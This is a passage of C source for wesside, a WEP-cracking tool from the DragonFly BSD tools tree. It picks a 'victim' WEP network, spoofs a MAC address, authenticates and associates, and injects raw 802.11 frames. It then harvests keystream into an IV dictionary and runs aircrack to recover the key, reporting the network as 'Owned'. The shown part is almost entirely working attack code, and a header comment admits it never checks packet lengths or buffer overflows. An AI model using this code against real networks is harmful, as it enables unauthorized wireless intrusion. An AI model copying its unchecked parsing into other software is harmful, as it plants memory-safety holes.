tools/wesside: Update to use /dev/tap directly
[dragonfly.git] / tools / tools / net80211 / wesside / wesside / wesside.c
1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD: src/tools/tools/net80211/wesside/wesside/wesside.c,v 1.4 2009/07/24 15:31:22 sam Exp $
9  */
10
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/tap/if_tap.h>
26 #include <net/ethernet.h>
27 #include <netproto/802_11/ieee80211.h>
28 #include <netproto/802_11/ieee80211_ioctl.h>
29 #include <netproto/802_11/ieee80211_radiotap.h>
30 #include <netproto/802_11/ieee80211_dragonfly.h>
31 #include <netinet/in.h>
32 #include <netinet/in_systm.h>
33 #include <netinet/ip.h>
34 #include <netinet/udp.h>
35 #include <arpa/inet.h>
36 #include <stdlib.h>
37 #include <stdio.h>
38 #include <unistd.h>
39 #include <string.h>
40 #include <fcntl.h>
41 #include <errno.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include <signal.h>
45 #include <stdarg.h>
46 #include <err.h>
47 #include <pcap.h>
48
49 #include "aircrack-ptw-lib.h"
50
51 #define FIND_VICTIM             0
52 #define FOUND_VICTIM            1
53 #define SENDING_AUTH            2
54 #define GOT_AUTH                3
55 #define SPOOF_MAC               4
56 #define SENDING_ASSOC           5
57 #define GOT_ASSOC               6
58
59 int state = 0;
60
61 struct timeval arpsend;
62
63 struct ippseudo {
64         struct  in_addr ippseudo_src;   /* source internet address */
65         struct  in_addr ippseudo_dst;   /* destination internet address */
66         u_char          ippseudo_pad;   /* pad, must be zero */
67         u_char          ippseudo_p;     /* protocol */
68         u_short         ippseudo_len;   /* protocol length */
69 };
70 struct tx_state {
71         int waiting_ack;
72         struct timeval tsent;
73         int retries;
74         unsigned int psent;
75 } txstate;
76
77 struct chan_info {
78         int s;
79         struct ieee80211req ireq;
80         int chan;
81 } chaninfo;
82
83 struct victim_info {
84         char* ssid;
85         int chan;
86         char bss[6];
87 } victim;
88
89 struct frag_state {
90         struct ieee80211_frame wh;
91         unsigned char* data;
92         int len;
93         unsigned char* ptr;
94         int waiting_relay;
95         struct timeval last;
96 } fragstate;
97
98 struct prga_info {
99         unsigned char* prga;
100         unsigned int len;
101         unsigned char iv[3];
102 } prgainfo;
103
104 struct decrypt_state {
105         unsigned char* cipher;
106         int clen;
107         struct prga_info prgainfo;
108         struct frag_state fragstate;
109 } decryptstate;
110
111 struct wep_log {
112         unsigned int packets;
113         unsigned int rate;
114         int fd;
115         unsigned char iv[3];
116 } weplog;
117
118 #define LINKTYPE_IEEE802_11     105
119 #define TCPDUMP_MAGIC           0xA1B2C3D4
120
121 unsigned char* floodip = NULL;
122 unsigned short floodport = 6969;
123 unsigned short floodsport = 53;
124
125 unsigned char* netip = NULL;
126 int netip_arg = 0;
127 int max_chan = 11;
128
129 unsigned char* rtrmac = NULL;
130
131 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
132 unsigned char myip[16] = "192.168.0.123";
133
134 int bits = 0;
135 int ttl_val = 0;
136
137 PTW_attackstate *ptw;
138
139 unsigned char *victim_mac = NULL;
140
141 int ack_timeout = 100*1000;
142
143 #define ARPLEN (8+ 8 + 20)
144 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
145 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
146 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
147 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
148 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
149
150 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
151
152 #define WEP_FILE "wep.cap"
153 #define KEY_FILE "key.log"
154 #define PRGA_FILE "prga.log"
155
156 unsigned int min_prga =  128;
157
158 /*
159  * When starting aircrack we try first to use a
160  * local copy, falling back to where the installed
161  * version is expected.
162  * XXX builtin pathnames
163  */
164 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
165 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
166
167 #define INCR 10000
168 int thresh_incr = INCR;
169
170 #define MAGIC_TTL_PAD 69
171
172 int crack_dur = 60;
173 int wep_thresh = INCR;
174 int crack_pid = 0;
175 struct timeval crack_start;
176 struct timeval real_start;
177
178 /* linksys does this.  The hardware pads small packets. */
179 #define PADDED_ARPLEN 54
180
181 #define PRGA_LEN (1500-14-20-8)
182 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
183
184 #define DICT_PATH "dict"
185 #define TAP_DEV "/dev/tap"
186 unsigned char tapifname[IFNAMSIZ];
187 unsigned char taptx[4096];
188 unsigned int taptx_len = 0;
189 int tapfd = -1;
190
191 /********** RIPPED
192 ************/
193 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
194   register long sum;
195   u_short oddbyte;
196   register u_short answer;
197
198   sum = 0;
199   while (nbytes > 1)
200     {
201       sum += *ptr++;
202       nbytes -= 2;
203     }
204
205   if (nbytes == 1)
206     {
207       oddbyte = 0;
208       *((u_char *) & oddbyte) = *(u_char *) ptr;
209       sum += oddbyte;
210     }
211
212   sum = (sum >> 16) + (sum & 0xffff);
213   sum += (sum >> 16);
214   answer = ~sum;
215   return (answer);
216 }
217 /**************
218 ************/
219
220 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
221                           struct in_addr *dip) {
222         unsigned char *tmp;
223         struct ippseudo *ph;
224
225         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
226         if(!tmp)
227                 err(1, "malloc()");
228
229         ph = (struct ippseudo*) tmp;
230
231         memcpy(&ph->ippseudo_src, sip, 4);
232         memcpy(&ph->ippseudo_dst, dip, 4);
233         ph->ippseudo_pad =  0;
234         ph->ippseudo_p = IPPROTO_UDP;
235         ph->ippseudo_len = htons(len);
236
237         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
238
239         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
240 }
241
242 void time_print(char* fmt, ...) {
243         va_list ap;
244         char lame[1024];
245         time_t tt;
246         struct tm *t;
247
248         va_start(ap, fmt);
249         vsnprintf(lame, sizeof(lame), fmt, ap);
250         va_end(ap);
251
252         tt = time(NULL);
253
254         if (tt == (time_t)-1) {
255                 perror("time()");
256                 exit(1);
257         }
258
259         t = localtime(&tt);
260         if (!t) {
261                 perror("localtime()");
262                 exit(1);
263         }
264
265         printf("[%.2d:%.2d:%.2d] %s",
266                t->tm_hour, t->tm_min, t->tm_sec, lame);
267 }
268
269 void check_key() {
270         char buf[1024];
271         int fd;
272         int rd;
273         struct timeval now;
274
275         fd = open(KEY_FILE, O_RDONLY);
276
277         if (fd == -1) {
278                 return;
279         }
280
281         rd = read(fd, buf, sizeof(buf) -1);
282         if (rd == -1) {
283                 perror("read()");
284                 exit(1);
285         }
286
287         buf[rd] = 0;
288
289         close(fd);
290
291         printf ("\n\n");
292         time_print("KEY=(%s)\n", buf);
293
294         if (gettimeofday(&now, NULL) == -1) {
295                 perror("gettimeofday()");
296                 exit(1);
297         }
298
299         printf ("Owned in %.02f minutes\n",
300                 ((double) now.tv_sec - real_start.tv_sec)/60.0);
301         exit(0);
302 }
303
304 void kill_crack() {
305         if (crack_pid == 0)
306                 return;
307
308         printf("\n");
309         time_print("Stopping crack PID=%d\n", crack_pid);
310
311         // XXX doesn't return -1 for some reason! [maybe on my box... so it
312         // might be buggy on other boxes...]
313         if (kill(crack_pid, SIGINT) == -1) {
314                 perror("kill()");
315                 exit(1);
316         }
317
318         crack_pid = 0;
319
320         check_key();
321 }
322
323 void cleanup(int x) {
324         time_print("\nDying...\n");
325
326         if (weplog.fd)
327                 close(weplog.fd);
328
329         kill_crack();
330
331         exit(0);
332 }
333
334 void set_chan(int c) {
335         if (c == chaninfo.chan)
336                 return;
337
338         chaninfo.ireq.i_val = c;
339
340         if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
341                 perror("ioctl(SIOCS80211) [chan]");
342                 exit(1);
343         }
344         chaninfo.chan = c;
345 }
346
347 void set_if_mac(unsigned char* mac, unsigned char *name) {
348         int s;
349         struct ifreq ifr;
350
351         s = socket(PF_INET, SOCK_DGRAM, 0);
352         if (s == -1) {
353                 perror("socket()");
354                 exit(1);
355         }
356
357         memset(&ifr, 0, sizeof(ifr));
358         strcpy(ifr.ifr_name, name);
359
360         ifr.ifr_addr.sa_family = AF_LINK;
361         ifr.ifr_addr.sa_len = 6;
362         memcpy(ifr.ifr_addr.sa_data, mac, 6);
363
364         if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
365                 perror("ioctl(SIOCSIFLLADDR)");
366                 exit(1);
367         }
368
369         close(s);
370 }
371
372 void setup_if(char *dev) {
373         int s;
374         struct ifreq ifr;
375         unsigned int flags;
376         struct ifmediareq ifmr;
377         int *mwords;
378
379         if(strlen(dev) >= IFNAMSIZ) {
380                 time_print("Interface name too long...\n");
381                 exit(1);
382         }
383
384         time_print("Setting up %s... ", dev);
385         fflush(stdout);
386
387         set_if_mac(mymac, dev);
388
389         s = socket(PF_INET, SOCK_DGRAM, 0);
390         if (s == -1) {
391                 perror("socket()");
392                 exit(1);
393         }
394
395         // set chan
396         memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
397         strcpy(chaninfo.ireq.i_name, dev);
398         chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
399
400         chaninfo.chan = 0;
401         chaninfo.s = s;
402         set_chan(1);
403
404         // set iface up and promisc
405         memset(&ifr, 0, sizeof(ifr));
406         strcpy(ifr.ifr_name, dev);
407         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
408                 perror("ioctl(SIOCGIFFLAGS)");
409                 exit(1);
410         }
411
412         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
413         flags |= IFF_UP | IFF_PPROMISC;
414
415         memset(&ifr, 0, sizeof(ifr));
416         strcpy(ifr.ifr_name, dev);
417         ifr.ifr_flags = flags & 0xffff;
418         ifr.ifr_flagshigh = flags >> 16;
419         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
420                 perror("ioctl(SIOCSIFFLAGS)");
421                 exit(1);
422         }
423
424         printf("done\n");
425 }
426
427 int open_bpf(char *dev, int dlt) {
428         int i;
429         char buf[64];
430         int fd = -1;
431         struct ifreq ifr;
432
433         for(i = 0;i < 16; i++) {
434                 sprintf(buf, "/dev/bpf%d", i);
435
436                 fd = open(buf, O_RDWR);
437                 if(fd < 0) {
438                         if(errno != EBUSY) {
439                                 perror("can't open /dev/bpf");
440                                 exit(1);
441                         }
442                         continue;
443                 }
444                 else
445                         break;
446         }
447
448         if(fd < 0) {
449                 perror("can't open /dev/bpf");
450                 exit(1);
451         }
452
453         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
454         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
455
456         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
457                 perror("ioctl(BIOCSETIF)");
458                 exit(1);
459         }
460
461         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
462                 perror("ioctl(BIOCSDLT)");
463                 exit(1);
464         }
465
466         i = 1;
467         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
468                 perror("ioctl(BIOCIMMEDIATE)");
469                 exit(1);
470         }
471
472         return fd;
473 }
474
475 void hexdump(unsigned char *ptr, int len) {
476         while(len > 0) {
477                 printf("%.2X ", *ptr);
478                 ptr++; len--;
479         }
480         printf("\n");
481 }
482
483 char* mac2str(unsigned char* mac) {
484         static char ret[6*3];
485
486         sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
487                 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
488
489         return ret;
490 }
491
492 void inject(int fd, void *buf, int len)
493 {
494         static struct ieee80211_bpf_params params = {
495                 .ibp_vers = IEEE80211_BPF_VERSION,
496                 /* NB: no need to pass series 2-4 rate+try */
497                 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
498                 .ibp_rate0 = 2,         /* 1 MB/s XXX */
499                 .ibp_try0 = 1,          /* no retransmits */
500                 .ibp_flags = IEEE80211_BPF_NOACK,
501                 .ibp_power = 100,       /* nominal max */
502                 .ibp_pri = WME_AC_VO,   /* high priority */
503         };
504         struct iovec iov[2];
505         int rc;
506
507         iov[0].iov_base = &params;
508         iov[0].iov_len = params.ibp_len;
509         iov[1].iov_base = buf;
510         iov[1].iov_len = len;
511         rc = writev(fd, iov, 2);
512         if(rc == -1) {
513                 perror("writev()");
514                 exit(1);
515         }
516         if (rc != (len + iov[0].iov_len)) {
517                 time_print("Error Wrote %d out of %d\n", rc,
518                            len+iov[0].iov_len);
519                 exit(1);
520         }
521 }
522
523 void send_frame(int tx, unsigned char* buf, int len) {
524         static unsigned char* lame = NULL;
525         static int lamelen = 0;
526         static int lastlen = 0;
527
528         // retransmit!
529         if (len == -1) {
530                 txstate.retries++;
531
532                 if (txstate.retries > 10) {
533                         time_print("ERROR Max retransmists for (%d bytes):\n",
534                                lastlen);
535                         hexdump(&lame[0], lastlen);
536 //                      exit(1);
537                 }
538                 len = lastlen;
539 //              printf("Warning doing a retransmit...\n");
540         }
541         // normal tx
542         else {
543                 assert(!txstate.waiting_ack);
544
545                 if (len > lamelen) {
546                         if (lame)
547                                 free(lame);
548
549                         lame = (unsigned char*) malloc(len);
550                         if(!lame) {
551                                 perror("malloc()");
552                                 exit(1);
553                         }
554
555                         lamelen = len;
556                 }
557
558                 memcpy(lame, buf, len);
559                 txstate.retries = 0;
560                 lastlen = len;
561         }
562
563         inject(tx, lame, len);
564
565         txstate.waiting_ack = 1;
566         txstate.psent++;
567         if (gettimeofday(&txstate.tsent, NULL) == -1) {
568                 perror("gettimeofday()");
569                 exit(1);
570         }
571
572 #if 0
573         printf("Wrote frame at %lu.%lu\n",
574                txstate.tsent.tv_sec, txstate.tsent.tv_usec);
575 #endif
576 }
577
578 unsigned short fnseq(unsigned short fn, unsigned short seq) {
579         unsigned short r = 0;
580
581         if(fn > 15) {
582                 time_print("too many fragments (%d)\n", fn);
583                 exit(1);
584         }
585
586         r = fn;
587
588         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
589
590         return r;
591 }
592
593 void fill_basic(struct ieee80211_frame* wh) {
594         unsigned short* sp;
595
596         memcpy(wh->i_addr1, victim.bss, 6);
597         memcpy(wh->i_addr2, mymac, 6);
598         memcpy(wh->i_addr3, victim.bss, 6);
599
600
601
602         sp = (unsigned short*) wh->i_seq;
603         *sp = fnseq(0, txstate.psent);
604
605         sp = (unsigned short*) wh->i_dur;
606         *sp = htole16(32767);
607 }
608
609 void send_assoc(int tx) {
610         unsigned char buf[128];
611         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
612         unsigned char* body;
613         int ssidlen;
614
615         memset(buf, 0, sizeof(buf));
616         fill_basic(wh);
617         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
618
619         body = (unsigned char*) wh + sizeof(*wh);
620         *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
621         // cap + interval
622         body += 2 + 2;
623
624         // ssid
625         *body++ = 0;
626         ssidlen = strlen(victim.ssid);
627         *body++ = ssidlen;
628         memcpy(body, victim.ssid, ssidlen);
629         body += ssidlen;
630
631         // rates
632         *body++ = 1;
633         *body++ = 4;
634         *body++ = 2;
635         *body++ = 4;
636         *body++ = 11;
637         *body++ = 22;
638
639         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
640                             strlen(victim.ssid) + 2 + 4);
641 }
642
643 void wepify(unsigned char* body, int dlen) {
644         uLong crc;
645         unsigned long *pcrc;
646         int i;
647
648         assert(dlen + 4 <= prgainfo.len);
649
650         // iv
651         memcpy(body, prgainfo.iv, 3);
652         body +=3;
653         *body++ = 0;
654
655         // crc
656         crc = crc32(0L, Z_NULL, 0);
657         crc = crc32(crc, body, dlen);
658         pcrc = (unsigned long*) (body+dlen);
659         *pcrc = crc;
660
661         for (i = 0; i < dlen +4; i++)
662                 *body++ ^= prgainfo.prga[i];
663 }
664
665 void send_auth(int tx) {
666         unsigned char buf[128];
667         struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
668         unsigned short* n;
669
670         memset(buf, 0, sizeof(buf));
671         fill_basic(wh);
672         wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
673
674         n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
675         n++;
676         *n = 1;
677
678         send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
679 }
680
681 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
682         unsigned char* ptr;
683         int x;
684         int gots = 0, gotc = 0;
685
686         if (len <= sizeof(*wh)) {
687                 time_print("Warning: short packet in get_victim_ssid()\n");
688                 return 0;
689         }
690
691         ptr = (unsigned char*)wh + sizeof(*wh);
692         len -= sizeof(*wh);
693
694         // only wep baby
695         if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
696                 return 0;
697         }
698
699         // we want a specific victim
700         if (victim_mac) {
701                 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
702                         return 0;
703         }
704
705         // beacon header
706         x = 8 + 2 + 2;
707         if (len <= x) {
708                 time_print("Warning short.asdfasdf\n");
709                 return 0;
710         }
711
712         ptr += x;
713         len -= x;
714
715         // SSID
716         while(len > 2) {
717                 int eid, elen;
718
719                 eid = *ptr;
720                 ptr++;
721                 elen = *ptr;
722                 ptr++;
723                 len -= 2;
724
725                 if (len < elen) {
726                         time_print("Warning short....\n");
727                         return 0;
728                 }
729
730                 // ssid
731                 if (eid == 0) {
732                         if (victim.ssid)
733                                 free(victim.ssid);
734
735                         victim.ssid = (char*) malloc(elen + 1);
736                         if (!victim.ssid) {
737                                 perror("malloc()");
738                                 exit(1);
739                         }
740
741                         memcpy(victim.ssid, ptr, elen);
742                         victim.ssid[elen] = 0;
743                         gots = 1;
744
745                 }
746                 // chan
747                 else if(eid == 3) {
748                         if( elen != 1) {
749                                 time_print("Warning len of chan not 1\n");
750                                 return 0;
751                         }
752
753                         victim.chan = *ptr;
754                         gotc = 1;
755                 }
756
757                 ptr += elen;
758                 len -= elen;
759         }
760
761         if (gots && gotc) {
762                 memcpy(victim.bss, wh->i_addr3, 6);
763                 set_chan(victim.chan);
764                 state = FOUND_VICTIM;
765                 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
766                        victim.ssid, mac2str(victim.bss), victim.chan);
767                 return 1;
768         }
769         return 0;
770 }
771
772 void send_ack(int tx) {
773         /* firmware acks */
774 }
775
776 void do_llc(unsigned char* buf, unsigned short type) {
777         struct llc* h = (struct llc*) buf;
778
779         memset(h, 0, sizeof(*h));
780         h->llc_dsap = LLC_SNAP_LSAP;
781         h->llc_ssap = LLC_SNAP_LSAP;
782         h->llc_un.type_snap.control = 3;
783         h->llc_un.type_snap.ether_type = htons(type);
784 }
785
786 void calculate_inet_clear() {
787         struct ip* ih;
788         struct udphdr* uh;
789         uLong crc;
790         unsigned long *pcrc;
791         int dlen;
792
793         memset(inet_clear, 0, sizeof(inet_clear));
794
795         do_llc(inet_clear, ETHERTYPE_IP);
796
797         ih = (struct ip*) &inet_clear[8];
798         ih->ip_hl = 5;
799         ih->ip_v = 4;
800         ih->ip_tos = 0;
801         ih->ip_len = htons(20+8+PRGA_LEN);
802         ih->ip_id = htons(666);
803         ih->ip_off = 0;
804         ih->ip_ttl = ttl_val;
805         ih->ip_p = IPPROTO_UDP;
806         ih->ip_sum = 0;
807         inet_aton(floodip, &ih->ip_src);
808         inet_aton(myip, &ih->ip_dst);
809         ih->ip_sum = in_cksum((unsigned short*)ih, 20);
810
811         uh = (struct udphdr*) ((char*)ih + 20);
812         uh->uh_sport = htons(floodport);
813         uh->uh_dport = htons(floodsport);
814         uh->uh_ulen = htons(8+PRGA_LEN);
815         uh->uh_sum = 0;
816         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
817                                   &ih->ip_src, &ih->ip_dst);
818
819         // crc
820         dlen = 8 + 20 + 8 + PRGA_LEN;
821         assert (dlen + 4 <= sizeof(inet_clear));
822
823         crc = crc32(0L, Z_NULL, 0);
824         crc = crc32(crc, inet_clear, dlen);
825         pcrc = (unsigned long*) (inet_clear+dlen);
826         *pcrc = crc;
827
828 #if 0
829         printf("INET %d\n", sizeof(inet_clear));
830         hexdump(inet_clear, sizeof(inet_clear));
831 #endif
832 }
833
834 void set_prga(unsigned char* iv, unsigned char* cipher,
835               unsigned char* clear, int len) {
836
837         int i;
838         int fd;
839
840         if (prgainfo.len != 0)
841                 free(prgainfo.prga);
842
843         prgainfo.prga = (unsigned char*) malloc(len);
844         if (!prgainfo.prga) {
845                 perror("malloc()");
846                 exit(1);
847         }
848
849         prgainfo.len = len;
850         memcpy(prgainfo.iv, iv, 3);
851
852         for (i = 0; i < len; i++) {
853                 prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
854                                                 clear[i]);
855         }
856
857         time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
858                prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
859         hexdump(prgainfo.prga, prgainfo.len);
860
861         if (!cipher)
862                 return;
863
864         fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
865                   S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
866
867         if (fd == -1) {
868                 perror("open()");
869                 exit(1);
870         }
871
872         i = write(fd, prgainfo.iv, 3);
873         if (i == -1) {
874                 perror("write()");
875                 exit(1);
876         }
877         if (i != 3) {
878                 printf("Wrote %d out of %d\n", i, 3);
879                 exit(1);
880         }
881
882         i = write(fd, prgainfo.prga, prgainfo.len);
883         if (i == -1) {
884                 perror("write()");
885                 exit(1);
886         }
887         if (i != prgainfo.len) {
888                 printf("Wrote %d out of %d\n", i, prgainfo.len);
889                 exit(1);
890         }
891
892         close(fd);
893 }
894
895
896 void log_dictionary(unsigned char* body, int len) {
897         char paths[3][3];
898         int i, rd;
899         int fd;
900         unsigned char path[128];
901         unsigned char file_clear[sizeof(inet_clear)];
902         unsigned char* data;
903
904         len -= 4; // IV etc..
905         assert (len == sizeof(inet_clear));
906
907         data = body +4;
908
909         if (len > prgainfo.len)
910                 set_prga(body, data, inet_clear, len);
911
912
913         for (i = 0; i < 3; i++)
914                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
915
916
917         strcpy(path, DICT_PATH);
918
919
920         // first 2 bytes
921         for (i = 0; i < 2; i++) {
922                 strcat(path, "/");
923                 strcat(path, paths[i]);
924                 fd = open(path, O_RDONLY);
925                 if (fd == -1) {
926                         if (errno != ENOENT) {
927                                 perror("open()");
928                                 exit(1);
929                         }
930
931                         if (mkdir(path, 0755) == -1) {
932                                 perror("mkdir()");
933                                 exit(1);
934                         }
935                 }
936                 else
937                         close(fd);
938         }
939
940         // last byte
941         strcat(path, "/");
942         strcat(path, paths[2]);
943
944         fd = open(path, O_RDWR);
945         // already exists... see if we are consistent...
946         if (fd != -1) {
947                 rd = read(fd, file_clear, sizeof(file_clear));
948
949                 if (rd == -1) {
950                         perror("read()");
951                         exit(1);
952                 }
953
954                 // check consistency....
955                 for (i = 0; i < rd; i++) {
956                         if (file_clear[i] !=
957                             (data[i] ^ inet_clear[i])) {
958
959                                 printf("Mismatch in byte %d for:\n", i);
960                                 hexdump(body, len+4);
961                                 exit(1);
962                         }
963                 }
964
965                 // no need to log
966                 if (i >= sizeof(inet_clear)) {
967 #if 0
968                         time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
969                                 body[0], body[1], body[2]);
970 #endif
971                         close(fd);
972                         return;
973                 }
974
975                 // file has less... fd still open
976
977         } else {
978                 fd = open(path, O_WRONLY | O_CREAT, 0644);
979                 if (fd == -1) {
980                         printf("Can't open (%s): %s\n", path,
981                                strerror(errno));
982                         exit(1);
983                 }
984         }
985
986         assert (sizeof(file_clear) >= sizeof(inet_clear));
987
988         for(i = 0; i < len; i++)
989                 file_clear[i] = data[i] ^ inet_clear[i];
990
991         rd = write(fd, file_clear, len);
992         if (rd == -1) {
993                 perror("write()");
994                 exit(1);
995         }
996         if (rd != len) {
997                 printf("Wrote %d of %d\n", rd, len);
998                 exit(1);
999         }
1000         close(fd);
1001 }
1002
1003 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1004         int type,stype;
1005         unsigned char* body;
1006
1007         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1008         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1009
1010         body = (unsigned char*) wh + sizeof(*wh);
1011
1012         // CTL
1013         if (type == IEEE80211_FC0_TYPE_CTL) {
1014                 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1015                         txstate.waiting_ack = 0;
1016                         return;
1017                 }
1018
1019                 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1020                         return;
1021                 }
1022
1023                 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1024                         return;
1025                 }
1026                 time_print ("got CTL=%x\n", stype);
1027                 return;
1028         }
1029
1030         // MGM
1031         if (type == IEEE80211_FC0_TYPE_MGT) {
1032                 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1033                         unsigned short* rc = (unsigned short*) body;
1034                         printf("\n");
1035                         time_print("Got deauth=%u\n", le16toh(*rc));
1036                         state = FOUND_VICTIM;
1037                         return;
1038                         exit(1);
1039                 }
1040                 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1041                         unsigned short* sc = (unsigned short*) body;
1042
1043                         if (*sc != 0) {
1044                                 time_print("Warning got auth algo=%x\n", *sc);
1045                                 exit(1);
1046                                 return;
1047                         }
1048                         sc++;
1049
1050                         if (*sc != 2) {
1051                                 time_print("Warning got auth seq=%x\n", *sc);
1052                                 return;
1053                         }
1054
1055                         sc++;
1056
1057                         if (*sc == 1) {
1058                                 time_print("Auth rejected... trying to spoof mac.\n");
1059                                 state = SPOOF_MAC;
1060                                 return;
1061                         }
1062                         else if (*sc == 0) {
1063                                 time_print("Authenticated\n");
1064                                 state = GOT_AUTH;
1065                                 return;
1066                         }
1067                         else {
1068                                 time_print("Got auth %x\n", *sc);
1069                                 exit(1);
1070                         }
1071                 }
1072                 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1073                         unsigned short* sc = (unsigned short*) body;
1074                         sc++; // cap
1075
1076                         if (*sc == 0) {
1077                                 sc++;
1078                                 unsigned int aid = le16toh(*sc) & 0x3FFF;
1079                                 time_print("Associated (ID=%x)\n", aid);
1080                                 state = GOT_ASSOC;
1081                                 return;
1082                         } else if (*sc == 12) {
1083                                 time_print("Assoc rejected..."
1084                                            " trying to spoof mac.\n");
1085                                 state = SPOOF_MAC;
1086                                 return;
1087                         } else {
1088                                 time_print("got assoc %x\n", *sc);
1089                                 exit(1);
1090                         }
1091                 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1092                         return;
1093                 }
1094
1095                 time_print("\nGOT MAN=%x\n", stype);
1096                 exit(1);
1097         }
1098
1099         if (type == IEEE80211_FC0_TYPE_DATA &&
1100             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1101                 int dlen;
1102                 dlen = len - sizeof(*wh) - 4 -4;
1103
1104                 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1105                         time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1106                                    mac2str(wh->i_addr2), dlen, stype);
1107                                    return;
1108                 }
1109
1110                 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1111
1112                 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1113                         rtrmac = (unsigned char *) malloc(6);
1114                         if (!rtrmac) {
1115                                 perror("malloc()");
1116                                 exit(1);
1117                         }
1118
1119                         assert( rtrmac > (unsigned char*) 1);
1120
1121                         memcpy (rtrmac, wh->i_addr3, 6);
1122                         time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1123
1124                         return;
1125                 }
1126 #if 0
1127                 // check if its a TTL update from dictionary stuff
1128                 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1129                     dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1130                         int ttl_delta, new_ttl;
1131
1132                         ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1133                         new_ttl = 128 - ttl_delta;
1134
1135                         if (ttl_val && new_ttl != ttl_val) {
1136                                 time_print("oops. ttl changed from %d to %d\n",
1137                                            ttl_val, new_ttl);
1138                                 exit(1);
1139                         }
1140
1141                         if (!ttl_val) {
1142                                 ttl_val = new_ttl;
1143                                 printf("\n");
1144                                 time_print("Got TTL of %d\n", ttl_val);
1145                                 calculate_inet_clear();
1146                         }
1147                 }
1148
1149                 // check if its dictionary data
1150                 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1151                         log_dictionary(body, len - sizeof(*wh));
